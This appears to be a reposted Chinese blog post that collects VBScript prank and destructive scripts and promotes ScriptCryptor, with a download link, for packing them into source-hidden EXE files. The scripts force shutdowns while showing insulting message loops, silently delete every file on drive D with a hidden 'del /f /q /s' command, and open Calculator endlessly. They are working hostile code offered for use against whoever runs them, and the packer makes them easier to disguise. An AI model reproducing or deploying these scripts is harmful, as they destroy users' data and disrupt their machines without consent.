藍屏后關機：
if MsgBox("你是豬嗎？",vbYesNo,"提示")=vbYes then
do
msgbox "haha"
loop
else
msgbox "還不承認!! 作為懲罰，藍屏一下",1200,"呵呵呵呵"
if msgbox ("再給你一次機會你是不是sb",vbyesNo,"逗比選擇")=vbyes then
msgbox "玩你的"
else
Set ws = CreateObject("Wscript.Shell")
ws.run "cmd.exe /c shutdown -s -t 5 -c ""呵呵呵我其實是在關機"" "
do
msgbox" -----哈哈啊哈哈哈--------------------------------別想去掉 我"
loop
end if
end if
立即關機：
set ink=WScript.CreateObject("WScript.Shell")
msgbox "命令完成成功！"&"By BlueSniper_ink(123403760)"
ink.Run "cmd.exe /c shutdown -s -t 0 -f"
洗掉d的所有檔案：
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
無限打開計算器:
?
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
scriptcryptor
下載地址： https://www.0daydown.com/tag/scriptcryptor
特色:
? 1、通過Windows的圖形化操作平臺轉換Javascript 或者 VBScript 為EXE可執行檔案！
? 2、轉換程序中和EXE檔案執行程序中不會產生臨時檔案！
? 3、支持命令列編輯功能！
? 4、保護腳本的源代碼不被第三方使用者查看和修改！
? 5、允許你自定義生成后的程式的圖示和著作權等資訊！
? 6、編譯后的EXE可執行程式可脫離任何環境單獨運行，不需要”cscript.exe” 和 “wscript.exe” 支持！
使用: 將要轉換的vbs檔案匯入看下圖就能生成.exe檔案
轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/229337.html
標籤：其他
上一篇：行程和計劃任務管理（詳細）